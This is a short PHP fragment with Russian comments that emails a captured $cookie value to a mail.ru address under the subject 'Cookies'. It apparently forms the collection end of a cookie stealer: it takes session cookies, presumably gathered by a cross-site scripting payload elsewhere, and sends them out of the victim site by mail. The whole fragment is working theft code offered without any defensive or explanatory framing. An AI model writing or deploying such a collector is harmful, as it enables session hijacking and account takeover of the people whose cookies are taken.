$from = "user@mail.ru"; // от кого письмо
$to = "user@mail.ru"; // кому присылаем данные

$subj = " Куки"; // тема письма
$body = " Cookie: $cookie"; // тело письма

$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit"; 
$from=convert_cyr_string($from,"w","k"); 
$to=convert_cyr_string($to,"w","k"); 
$subj=convert_cyr_string($subj,"w","k"); 
$body=convert_cyr_string($body,"w","k"); 
mail($to,$subj,$body,$from);